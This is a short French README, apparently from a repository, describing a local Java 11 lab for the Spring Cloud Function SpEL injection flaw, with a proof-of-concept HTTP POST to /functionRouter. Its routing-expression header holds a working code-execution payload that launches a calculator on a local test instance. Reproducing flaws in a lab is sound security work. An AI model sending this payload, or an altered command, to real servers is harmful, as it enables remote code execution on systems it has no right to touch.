
Environnement de reproduction et preuve de concept pour l'injection SpEL dans Spring Cloud Function menant à une exécution de code à distance, avec une démo Java 11 exécutable et un exemple de requête HTTP.
Consultez le blog personnel pour plus de détails https://pizz33.github.io/
Un environnement de test pour l'injection d'expression SpEL dans Spring Cloud Function
Version java11, démarrez avec java -jar demo-0.0.1-SNAPSHOT.jar
Une fois l'environnement configuré, accédez au port 127.0.0.1:8080

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
